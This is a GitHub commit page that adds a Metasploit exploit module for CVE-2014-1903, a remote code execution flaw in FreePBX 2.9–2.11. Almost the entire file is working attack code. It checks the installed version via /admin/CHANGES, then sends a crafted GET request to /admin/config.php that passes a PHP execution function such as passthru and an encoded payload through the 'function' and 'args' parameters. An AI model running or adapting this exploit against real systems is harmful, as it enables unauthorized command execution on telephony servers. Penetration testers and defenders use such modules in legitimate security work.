Skip to content

Commit c4f0d8e

Browse files
author
xistence
committed
FreePBX config.php RCE CVE-2014-1903
1 parent f766a74 commit c4f0d8e

File tree

1 file changed

+97
-0
lines changed

1 file changed

+97
-0
lines changed
Lines changed: 97 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,97 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info={})
14+
super(update_info(info,
15+
'Name' => "FreePBX config.php Remote Code Execution",
16+
'Description' => %q{
17+
This module exploits a vulnerability found in FreePBX version 2.9, 2.10, 2.11.
18+
It's possible to inject arbitrary PHP functions and commands in the "/admin/config.php"
19+
parameters "function" and "args".
20+
},
21+
'License' => MSF_LICENSE,
22+
'Author' =>
23+
[
24+
'0x00string', # PoC
25+
'xistence <xistence[at]0x90.nl>' # Metasploit module
26+
],
27+
'References' =>
28+
[
29+
['CVE', '2014-1903'],
30+
['EDB', '32214'],
31+
['URL', 'http://issues.freepbx.org/browse/FREEPBX-7123']
32+
],
33+
'Platform' => 'unix',
34+
'Arch' => ARCH_CMD,
35+
'Targets' =>
36+
[
37+
['FreePBX', {}]
38+
],
39+
'Privileged' => false,
40+
'DisclosureDate' => "Mar 21 2014",
41+
'DefaultTarget' => 0))
42+
43+
register_options(
44+
[
45+
OptString.new('TARGETURI', [true, 'The base path to the FreePBX installation', '/']),
46+
OptString.new('PHPFUNC', [true, 'The PHP execution function to use', 'passthru']),
47+
], self.class)
48+
end
49+
50+
51+
def check
52+
vprint_status("#{peer} - Trying to detect installed version")
53+
54+
res = send_request_cgi({
55+
'method' => 'GET',
56+
'uri' => normalize_uri(target_uri.path, "admin", "CHANGES")
57+
})
58+
59+
if res and res.code == 200 and res.body =~ /^(.*)$/
60+
version = $1
61+
else
62+
return Exploit::CheckCode::Unknown
63+
end
64+
65+
vprint_status("#{peer} - Version #{version} detected")
66+
67+
if version =~ /2\.(9|10|11)\.0/
68+
return Exploit::CheckCode::Appears
69+
else
70+
return Exploit::CheckCode::Safe
71+
end
72+
end
73+
74+
def exploit
75+
randdata = rand_text_alpha_lower(rand(10) + 5)
76+
77+
print_status("#{peer} - Sending payload")
78+
res = send_request_cgi({
79+
'method' => 'GET',
80+
'uri' => normalize_uri(target_uri.path, "admin", "config.php"),
81+
'vars_get' => {
82+
"display" => randdata,
83+
"handler" => "api",
84+
"function" => datastore['PHPFUNC'],
85+
"args" => payload.encoded
86+
}
87+
})
88+
89+
# If we don't get a 200 when we request our malicious payload, we suspect
90+
# we don't have a shell, either.
91+
if res and res.code != 200
92+
print_error("#{peer} - Unexpected response, exploit probably failed!")
93+
end
94+
95+
end
96+
97+
end

0 commit comments

Comments
 (0)